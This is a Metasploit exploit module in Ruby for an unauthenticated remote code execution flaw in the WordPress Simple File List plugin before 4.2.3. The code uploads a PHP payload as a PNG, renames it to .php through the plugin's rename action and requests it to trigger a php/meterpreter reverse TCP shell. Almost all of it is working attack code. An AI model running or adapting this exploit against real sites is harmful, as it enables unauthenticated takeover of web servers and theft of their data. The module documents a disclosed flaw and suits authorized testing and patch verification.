WordPress Simple File List Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HTTP::Wordpress  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress Simple File List Unauthenticated Remote Code Execution',  
'Description' => %q{  
Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers  
to upload files within a controlled list of extensions. However, the rename function does not conform to  
the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed  
to php and executed.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'coiffeur', # initial discovery and PoC  
'h00die', # msf module  
],  
'References' =>  
[  
[ 'URL', 'https://wpscan.com/vulnerability/10192' ],  
[ 'URL', 'https://www.cybersecurity-help.cz/vdb/SB2020042711' ],  
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list' ],  
[ 'EDB', '48349' ]  
],  
'Platform' => [ 'php' ],  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[  
'Default',  
{  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2020-04-27',  
'DefaultTarget' => 0,  
'Notes' => {  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']),  
]  
)  
end  
  
def dir_path  
'/wp-content/uploads/simple-file-list/'  
end  
  
def upload_path  
'/wp-content/plugins/simple-file-list/ee-upload-engine.php'  
end  
  
def move_path  
'/wp-content/plugins/simple-file-list/ee-file-engine.php'  
end  
  
def upload(filename)  
print_status('Attempting to upload the PHP payload as a PNG file')  
now = Date.today.to_time.to_i.to_s  
data = Rex::MIME::Message.new  
data.add_part('1', nil, nil, 'form-data; name="eeSFL_ID"')  
data.add_part(dir_path, nil, nil, 'form-data; name="eeSFL_FileUploadDir"')  
data.add_part(now, nil, nil, 'form-data; name="eeSFL_Timestamp"')  
data.add_part(Digest::MD5.hexdigest("unique_salt#{now}"), nil, nil, 'form-data; name="eeSFL_Token"')  
data.add_part("#{payload.encoded}\n", 'image/png', nil, "form-data; name=\"file\"; filename=\"#{filename}.png\"")  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, upload_path),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200  
# the server will respond with a 200, but if the timestamp and token dont match it wont give back SUCCESS as it failed  
fail_with(Failure::UnexpectedReply, "#{peer} - File failed to upload") unless res.body.include?('SUCCESS')  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.png"),  
'method' => 'GET'  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res  
# 404 could be AV got it or something similar  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}. File was uploaded successfully, but could not be found.") if res.code == 404  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
print_good('PNG payload successfully uploaded')  
end  
  
def rename(filename)  
print_status("Attempting to rename #{filename}.png to #{filename}.php")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, move_path),  
'method' => 'POST',  
'vars_post' => {  
'eeSFL_ID' => 1,  
'eeFileOld' => "#{filename}.png",  
'eeListFolder' => '/',  
'eeFileAction' => "Rename|#{filename}.php"  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
print_good("Successfully renamed #{filename}.png to #{filename}.php")  
end  
  
def check  
return CheckCode::Unknown unless wordpress_and_online?  
  
# check the plugin version from readme  
check_plugin_version_from_readme('simple-file-list', '4.2.3', '1.0.1')  
end  
  
def exploit  
# filename of the file to be uploaded/created  
filename = Rex::Text.rand_text_alphanumeric(8)  
register_file_for_cleanup("#{filename}.php")  
  
upload(filename)  
rename(filename)  
print_status('Triggering shell')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.php"),  
'method' => 'GET'  
)  
end  
end  
`